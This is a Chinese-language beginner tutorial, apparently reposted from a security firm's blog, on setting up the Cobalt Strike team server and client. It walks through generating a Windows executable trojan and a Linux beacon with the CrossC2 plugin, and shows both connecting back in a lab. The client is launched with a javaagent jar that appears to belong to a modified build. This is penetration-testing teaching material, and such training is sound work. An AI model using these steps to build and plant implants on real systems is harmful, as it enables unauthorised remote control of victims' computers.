渗透测试神器Cobalt Strike入门使用教程

admin 2021年1月21日08:51:56评论24 views字数 1847阅读6分9秒阅读模式

 

Cobalt Strike介绍

 

声明:操作环境均为搭建的虚拟环境

 

Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端服务端服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
 

Cobalt Strike使用

 

因为启动CS需要JDK的支持,所以需要安装Java环境。这个不做过多描述了。

 

下载后解压,也可以在Linux系统下使用。

 

CobaltStrike分为客户端和服务端。Cobalt Strike 需要团队服务器才能使用,服务端被称为团队服务器,是Beacon有效负载的控制器,团队服务器还会存储CobaltStrike收集的数据,并管理日志记录teamserver就为服务端的运行程序。

 

启动teamserver

 

CS服务器teamserver必须以root身份运行在所支持的操作系统上。需要文件 teamserver 与 cobaltstrike.jar

 

进到cobaltstrike目录

渗透测试神器Cobalt Strike入门使用教程

 

启动团队服务器

 

在cobaltstrike目录下执行,IP可以写本机的,密码就随便写了

./teamserver IP Password

渗透测试神器Cobalt Strike入门使用教程

 

启动CS客户端

 

在cobaltstrike目录下执行启动。

 

java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

渗透测试神器Cobalt Strike入门使用教程

渗透测试神器Cobalt Strike入门使用教程

 

Windows 

 

生成Windows的木马

先配置监听器,先点 Coblalt Strike的监听器,然后点击add进行添加

渗透测试神器Cobalt Strike入门使用教程

 

然后生成一个Windows.exe的木马,点击攻击,生成后门,Windows Executale

渗透测试神器Cobalt Strike入门使用教程

生成一个.exe的木马

渗透测试神器Cobalt Strike入门使用教程

然后启动Windows的虚拟机,把文件复制到Windows里面

渗透测试神器Cobalt Strike入门使用教程

点击运行,成功上线,然后点击进入beacon,然后cs的功能还是比较多的,我就不演示了

渗透测试神器Cobalt Strike入门使用教程

 

输入shell ipconfig 查看ip

渗透测试神器Cobalt Strike入门使用教程

Linux

 

如果目标主机是Linux的话,Cobalt Strike也是可以进行渗透的,不过需要CrossC2这个插件,我们可以在github上可以找到,这里要注意一下,CrossC2有适应Cobalt Strike它的版本,如果是3.X的版本就默认下载,如果版本不匹配,可能会无法上线的。

 

我的是4.0版本,所以下CS4.0的分支

渗透测试神器Cobalt Strike入门使用教程

 

执行git clone  -b  cs4.0  https://github.com/gloxec/CrossC2

下载到cobaltstrike目录下,进入到插件的src目录

渗透测试神器Cobalt Strike入门使用教程

修改CrossC2.can,一个是当前路径,一个是要攻击的目标系统

渗透测试神器Cobalt Strike入门使用教程

把cobaltstrike下的一个隐藏文件复制到插件的src目录

渗透测试神器Cobalt Strike入门使用教程

渗透测试神器Cobalt Strike入门使用教程

 

配置一个监听器,注意Linux系统只能走HTTPS协议

渗透测试神器Cobalt Strike入门使用教程

在cobalt strike下点击脚本管理器,点击load选择我们配置好的CrossC2.can文件

渗透测试神器Cobalt Strike入门使用教程

我们添加好之后,用genCrossC2.Linux生成一个名叫test1的Linux的木马。

 

./genCrossC2.Linux 192.168.1.107 6655  /home/black/cs4.0汉化版/cs4.0/cobaltstrike/CrossC2/src/.cobaltstrike.beacon_keys null Linux x64 test1

渗透测试神器Cobalt Strike入门使用教程

然后把test1文件放到目标主机上,但一般情况test1没有执行权限,先给文件权限在运行

渗透测试神器Cobalt Strike入门使用教程

运行完之后,去CS上看是否上线,成功上线

渗透测试神器Cobalt Strike入门使用教程

总结

 

虽说CS对Linux系统不太友善,但总的来说还是一款神器。

 

 

 

 

天磊卫士|专注网络安全服务

咨询热线:400-654-0108

官网:https://www.uguardsec.com

分支机构:深圳、海口、北京、青岛、汕尾

漏洞扫描|整改加固|渗透测试|APP安全评估|安全运维

系统入网|上线安全评估|代码审计|应急响应|应急演练

原文始发于微信公众号(天磊卫士安全团队):渗透测试神器Cobalt Strike入门使用教程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月21日08:51:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试神器Cobalt Strike入门使用教程https://cn-sec.com/archives/1052928.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息